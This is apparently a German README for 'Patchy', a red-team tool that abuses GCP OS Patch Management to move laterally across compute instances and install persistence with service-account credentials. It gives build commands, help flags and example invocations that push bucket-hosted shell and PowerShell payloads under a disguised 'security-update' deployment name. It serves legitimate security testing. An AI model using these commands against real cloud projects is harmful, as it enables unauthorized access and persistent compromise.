
Automatisierte Persistenz und Lateralbewegung mit GCP Patch Management
Automatisierte laterale Bewegung und Persistenz durch Missbrauch des GCP OS Patch-Managements, basierend auf meinem Blogbeitrag.
Patchy besteht aus zwei Hauptmodi: Lateral Movement und Persistenz. Persistenz nutzt gültige Dienstkonto-Anmeldeinformationen, um einen Patch-Job oder ein Deployment zu erstellen. Lateral Movement versucht, Zugriff auf alle Compute-Instanzen innerhalb eines Projekts zu erhalten. Damit es verwendet werden kann, muss es sich in einer GCP-Umgebung mit verfügbarer Metadaten-API befinden. Lateral Movement hat einen Modus, der es ermöglicht zu prüfen, ob ein Exploit möglich ist, ohne etwas Aggressives zu versuchen (gut um zu sehen, ob Ihre Umgebung sicher ist).
Für Funktionsvorschläge öffnen Sie bitte ein Issue. Bei Problemen erstellen Sie bitte einen PR mit Ihrer Lösung.
mkdir build;GOOS=windows GOARCH=amd64 go build -o build/patchy.exe ./cmd/patchy/*.go
mkdir build;GOOS=linux GOARCH=amd64 go build -o build/patchy ./cmd/patchy/*.go
Bitte beachten Sie, dass dies >= go 1.19 erfordert
$ ./patchy -h
d8888b. .d8b. d888888b .o88b. db db db db
88 `8D d8' `8b `~~88~~' d8P Y8 88 88 `8b d8'
88oodD' 88ooo88 88 8P 88ooo88 `8bd8'
88~~~ 88~~~88 88 8b 88~~~88 88
88 88 88 88 Y8b d8 88 88 88
88 YP YP YP `Y88P' YP YP YP
https://github.com/rek7/patchy
Patchy ist ein GCP-Exploitation-Tool, das für Red-Teaming-Einsätze entwickelt wurde.
Basierend auf https://blog.raphael.karger.is/articles/2022-08/GCP-OS-Patching
Verwendung:
patchy [flags]
patchy [command]
Verfügbare Befehle:
completion Generiert das Autovervollständigungsskript für die angegebene Shell
help Hilfe zu jedem Befehl
lateral Führt automatische laterale Bewegung in einer GCP-Umgebung durch
persist Aktiviert Persistenz auf Compute-Instanzen, die dem Dienstkonto gehören
Flags:
-b, --bucket string Name des Buckets, der die Payload hostet
-h, --help Hilfe für patchy
-l, --lpayload string Name der Linux-Shell-Payload (Standard: "payload.bash")
-p, --persist Persistenz aktivieren (Patch-Deployment) (Standard: false)
-n, --pname string Name des Patch-Deployments/-Jobs (Standard: "security-update")
-w, --wpayload string Name der Windows-PowerShell-Payload (Standard: "payload.ps1")
Verwenden Sie "patchy [command] --help" für weitere Informationen zu einem Befehl.
Ausnutzen von Dienstkonten in einer lokalen GCP-Umgebung, myBucket ist der Name des öffentlichen Buckets, der die Payloads hostet:
$ ./patchy -b myBucket lat -e
Installieren der Persistenz mit einem Dienstkonto im JSON-Format:
$ ./patchy -b myBucket persist -c serviceAccount.json